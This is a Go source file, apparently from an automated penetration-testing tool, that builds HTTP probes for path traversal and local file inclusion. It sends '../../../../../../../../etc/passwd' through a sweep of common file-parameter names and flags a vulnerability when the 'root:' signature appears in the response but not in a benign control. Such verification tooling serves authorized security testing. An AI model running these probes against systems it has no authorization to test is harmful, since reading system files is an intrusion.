package exploit

import (
	"fmt"
	"net/url"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// lfiIndicator is a stable signature of the Unix password file — its first line
// is always `root:x:0:0:...`. A response containing it proves the parameter read
// an arbitrary local file.
const lfiIndicator = "root:"

// commonLFIParams are parameter names that commonly name a file to read/include.
var commonLFIParams = []string{"file", "path", "filename", "page", "doc", "document", "template", "include", "load", "view", "download"}

// CommonLFIParams returns the file-parameter names the LFI sweep targets.
func CommonLFIParams() []string { return commonLFIParams }

// lfiTraversal is the attack value: enough ../ hops to reach the filesystem root
// from any depth, then /etc/passwd.
const lfiTraversal = "../../../../../../../../etc/passwd"

// PathTraversalSpec builds a differential re-proof recipe for path traversal /
// local file inclusion in a query parameter. The ATTACK value traverses to
// /etc/passwd; the CONTROL is a benign filename. A response that contains the
// `root:` passwd signature for the attack but not the control proves the
// parameter reads arbitrary local files — the indicator-aware differential.
//
// targetURL is the endpoint; param is the file parameter; authHeader is an
// optional session credential. Returns an error if invalid.
func PathTraversalSpec(targetURL, param, authHeader string) (*verify.ProbeSpec, error) {
	if strings.TrimSpace(param) == "" {
		return nil, fmt.Errorf("lfi: empty parameter")
	}
	host, pathQuery := splitHostPath(targetURL)
	path, query := pathQuery, ""
	if i := strings.IndexByte(pathQuery, '?'); i >= 0 {
		path, query = pathQuery[:i], pathQuery[i+1:]
	}
	if path == "" {
		path = "/"
	}
	var b strings.Builder
	b.WriteString("GET " + path + "?" + markParam(query, param) + " HTTP/1.1\r\n")
	writeCommonHeaders(&b, host, authHeader)
	b.WriteString("\r\n")
	// Encode for the query context; the control is a plain benign filename.
	return verify.NewDifferentialSpec(b.String(), "",
		url.QueryEscape(lfiTraversal), "index.html", lfiIndicator)
}

// PathTraversalSpecs returns a spec per common file-parameter name so a sweep
// can probe an LFI-ish endpoint without knowing its exact parameter.
func PathTraversalSpecs(targetURL, authHeader string) ([]TechniqueSpec, error) {
	var out []TechniqueSpec
	for _, p := range commonLFIParams {
		spec, err := PathTraversalSpec(targetURL, p, authHeader)
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "lfi:" + p, Spec: spec})
	}
	return out, nil
}
